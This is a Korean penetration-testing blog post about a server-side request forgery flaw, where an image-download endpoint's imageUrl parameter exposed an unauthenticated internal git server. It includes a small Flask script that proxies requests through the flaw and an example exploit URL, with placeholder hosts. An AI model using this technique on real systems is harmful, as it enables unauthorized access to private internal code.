annyoung

파일 다운로드 취약점 본문

모의해킹

파일 다운로드 취약점

nopsled 2025. 2. 21. 16:14

폴더 정리하다가 찾은 코드인데 나름 재밌었던 취약점이었다.

 

example.com의 서버가 이미지 다운로드를 지원하고 있었고, 아마도 example.com이 DMZ에 있던거 같은데 이로 인해서 내부 git에 접근할 수 있던 취약점이었다.

 

물론 git commit date가 최소 2 years ago 이러다보니.. 버려진 사이트 같았고 인증 절차가 없다보니 git에 업로드된 소스코드들을 볼 수 있었다.

import requests
from flask import Flask, request

app = Flask(__name__)


@app.route('/gitweb')
def index():
    return requests.get('https://example.com/v1/download/image', dict(
        imageUrl=f'http://git.example.com{request.full_path}',
    )).content


app.run(debug=True, use_reloader=True)
[atom-one-light]

 

코드는 위와 같은데 웹 페이지가 깨지지 않도록 css와 js는 미리 로컬에 다운로드 받아서 git.example.com과 동일하게 구성해서 flask를 실행시켰고, 이로 인해서 프록시처럼 클릭만으로 git repository들을 확인할 수 있었다.

 

원래라면 https://example.com/v1/download/image?imageUrl=http://git.example.com/gitweb/some_repository/main/resources 와 같이 웹 페이지를 다운로드 받고, 그 HTML을 열어보거나 편집기로 확인해서 다시 imageUrl param을 수정해서 다운로드 받아서 확인했어야 했다. 그런데 이런 번거로움을 프록시처럼 구성해 놓은거라고 생각하면 된다.

'모의해킹' 카테고리의 다른 글

Blind SQL Injection(MySQL)  (1) 2025.02.27
Union SQL Injection(MySQL)  (0) 2025.02.27
XSS input hidden  (0) 2025.02.11
ms teams가 sourcemap에 대하는 자세  (0) 2024.11.01
React Native 디컴파일  (0) 2024.10.25
Comments